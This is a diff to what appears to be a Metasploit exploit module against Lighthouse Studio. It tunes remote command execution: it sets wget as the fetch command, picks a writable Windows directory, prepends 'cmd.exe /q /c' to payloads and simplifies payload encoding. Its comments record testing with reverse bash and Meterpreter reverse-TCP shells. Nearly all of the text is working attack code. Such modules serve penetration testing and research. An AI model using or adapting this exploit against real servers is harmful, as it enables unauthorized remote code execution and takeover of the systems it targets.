@@ -44,7 +44,11 @@ def initialize(info = {})
4444 {
4545 'Platform' => [ 'unix' , 'linux' ] ,
4646 'Arch' => ARCH_CMD ,
47- 'Type' => :unix_cmd
47+ 'Type' => :unix_cmd ,
48+ 'DefaultOptions' => {
49+ # On Ubuntu 18.04.06 LTS curl is not installed by default
50+ 'FETCH_COMMAND' => 'WGET'
51+ }
4852 # Tested with cmd/unix/reverse_bash
4953 # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
5054 }
@@ -56,12 +60,19 @@ def initialize(info = {})
5660 'Arch' => ARCH_CMD ,
5761 'Type' => :win_cmd ,
5862 'DefaultOptions' => {
59- 'FETCH_WRITABLE_DIR' => 'C:\\\\Windows\\\\Tasks\\\\'
63+ # Environment variables like %TEMP% don't resolve
64+ 'FETCH_WRITABLE_DIR' => '\\Windows\\Tasks\\'
65+ } ,
66+ 'Payload' => {
67+ 'Prepend' => 'cmd.exe /q /c '
6068 }
6169 # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
6270 }
6371 ] ,
6472 ] ,
73+ 'Payload' => {
74+ 'BadChars' => '\\'
75+ } ,
6576 'DefaultTarget' => 0 ,
6677 'DisclosureDate' => '2025-07-16' ,
6778 'Notes' => {
@@ -93,7 +104,7 @@ def check
93104 'method' => 'GET' ,
94105 'vars_get' => vars
95106 )
96- return CheckCode ::Unknown ( 'No response from target' ) unless res
107+ return CheckCode ::Unknown ( 'No response from target' ) unless res &. code == 200
97108
98109 if res . body =~ /Lighthouse Studio (\d +_\d +_\d +)/
99110 version_match = Regexp . last_match ( 1 ) . to_s
@@ -116,8 +127,7 @@ def check
116127 def exploit
117128 print_status ( 'Uploading malicious payload...' )
118129
119- cmd = Rex ::Text . uri_encode ( payload . encoded ) . gsub ( '\\' , '%5C' ) . gsub ( '/' , '%2F' )
120- cmd = "cmd.exe%20/q%20/c%20\" #{ cmd } \" " if target [ 'Type' ] == :win_cmd
130+ cmd = Rex ::Text . uri_encode ( payload . encoded )
121131
122132 query = [
123133 'hid_javascript=1' ,
@@ -136,8 +146,8 @@ def exploit
136146
137147 if res
138148 html = res . get_html_document
139- if html &.text &.include? ( 'Cannot find default studyname ' )
140- fail_with ( Failure ::BadConfig , 'The STUDYNAME value is invalid ' )
149+ if html &.text &.include? ( 'Cannot find the study name ' )
150+ fail_with ( Failure ::BadConfig , 'The STUDYNAME value was not found on the server ' )
141151 end
142152 end
143153 end
0 commit comments